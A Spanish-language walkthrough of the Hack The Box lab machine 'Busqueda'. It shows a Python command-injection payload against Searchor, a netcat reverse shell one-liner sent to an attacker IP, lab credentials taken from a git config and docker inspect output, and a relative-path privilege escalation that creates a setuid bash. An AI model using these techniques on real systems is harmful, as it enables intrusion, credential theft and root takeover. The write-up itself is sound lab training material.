articulos - b0ySie7e
  • 👋Bienvenido
  • Write up
    • 📕DockerLabs
      • QueueMedic
    • 📕Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • 📕Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • 📕PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • 🛠️Proyectos
      • 📝Host Port Discovery
    • 🛠️Laboratorio
      • 📝Hacking Wireles
  • Vulnerabilidaes
    • 🖥️Explotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • Reconocimiento
  • Sitio Web.
  • shell - svc
  • Exploit_Searchor_2.4.0_RCE
  • .git
  • shell - root
  • subdominio gitea.searcher.htb
  1. Write up
  2. Hackthebox

Busqueda

PreviousInjectNextMonitors Two

Last updated 10 months ago

Busqueda es una máquina Linux de dificultad fácil que implica explotar una vulnerabilidad de inyección de comandos presente en un módulo Python. Al aprovechar esta vulnerabilidad, obtenemos acceso a nivel de usuario a la máquina. Para escalar privilegios a root, descubrimos credenciales dentro de un archivo de configuración Git, lo que nos permite iniciar sesión en un servicio Gitea local. Además, descubrimos que un script de verificación del sistema puede ser ejecutado con privilegios root por un usuario específico. Al utilizar este script, enumeramos los contenedores Docker que revelan las credenciales para la cuenta Gitea del usuario administrador. Un análisis más detallado del código fuente del script de verificación del sistema en un repositorio Git revela un medio para explotar una referencia de ruta relativa, lo que nos otorga la Ejecución remota de código (RCE) con privilegios root.

Reconocimiento

Iniciamos con la enumeración de los puertos abiertos

❯ nmap -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.208 -oG allportsScan

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Luego de enumerar los puertos, vamos a seguir enumerando los servicios y versiones de estas que se ejecutan en estas.

❯ nmap -p22,80 -sC -sV -vvv -Pn -n 10.10.11.208 -oN servicesScan

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Sitio Web.

Navegando en el sitio web encontraremos el siguiente contenido

Tenemos una forma de ejecutar comandos en este servicio.

',__import__('os').system('ls -la'))#

Podemos ver que podemos ejecutar comandos en la maquina victima, por lo que nos enviaremos una revershell.

shell - svc

Haciendo uso del exploit podremos enviarnos una revershell de manera automatizada

Exploit_Searchor_2.4.0_RCE

Podemos descargar el script para ejecutar comandos desde la terminal en el siguiente link:

Una vez descargado el script podemos enviarnos una revershell desde la terminal

python3 Exploit_Searchor_2.4.0_RCE.py -u http://searcher.htb -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.55 443 >/tmp/f'

Antes de ejecutar el script debemos ponernos a la escucha con ncat

❯ ncat -nvlp 443

.git

Enumerando el directorio del usuario actual podemos observar credenciales para el usuario cody

http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

Teniendo estas credenciales ingresaremos a el sitio web en el subdominio gitea.searcher.htb

Además validamos esta contraseña contra el usuario svc y observamos que es valida

svc : jh1usoih2bkjaspwe92
svc@busqueda:/var/www/app/.git$ sudo -l

Luego observamos los privilegios del usuario svc y podemos ver que tiene privilegios para ejecutar cierto script de manera privilegiada

shell - root

El script o comando que podemos ejecutar es:

 /usr/bin/python3 /opt/scripts/system-checkup.py *

Ejecutando el script podemos ver que tenemos las siguientes opciones

svc@busqueda:/var/www/app/.git$ sudo  /usr/bin/python3 /opt/scripts/system-checkup.py docker ps
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Podemos revisar la documentacion de docker-inspect para tener mas comandos de este.

En este caso tenemos unos contenedores que podremos ver con docker-ps

svc@busqueda:/tmp$ sudo  /usr/bin/python3 /opt/scripts/system-checkup.py  docker-inspect '{{json .Config}}' gitea
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}
svc@busqueda:/tmp$ sudo  /usr/bin/python3 /opt/scripts/system-checkup.py  docker-inspect '{{json .Config}}' mysql_db
{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

Luego de ejecutar podremos ver credenciales que haremos uso de para ingresar a una base de datos

sudo  /usr/bin/python3 /opt/scripts/system-checkup.py  docker-inspect '{{json .Config}}' mysql_db

En esta base de datos no encontraremos mucho, solo las credenciales encriptadas

svc@busqueda:/$ mysql -u gitea -p -h 127.0.0.1:3006

subdominio gitea.searcher.htb

Esta contraseña la podemos hacer uso para ingresar a la cuenta de administrator del servicio gitea

administrator : yuiu1hoiu4i5ho1uh

En el repositorio encontramos un script el cual ejecutamos de manera privilegiada

Analizando un poco vemos que el script de full-checkup.sh no se ejecuta teniendo en cuenta el path absoluta, por lo que usaremos este vector para escalar privilegios

Crearemos un script en nuestro directorio de usuario y luego le daremos permisos de ejecución, para luego ejecutar el script de manera privilegiada con el parámetro full-checkup.

nano full-checkup.sh

#!/bin/bash
cp /bin/bash /tmp/cmd
chmod +s /tmp/cmd

chmod +x full-checkup.sh 
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Luego de ejecutar el script podemos escalar privilegios como el usuario root.

📕
https://github.com/b0ySie7e/Exploit_Searchor_2.4.0_RCE/
docker-inspect get a subsection in json format
20240725092525.png
20240725095432.png
20240725095505.png
20240725095531.png
20240725111244.png
20240725111634.png
20240725123251.png
20240725123346.png
20240725123435.png
20240725200657.png
20240725165734.png
20240725165810.png
20240725165832.png
20240725203541.png
20240725203604.png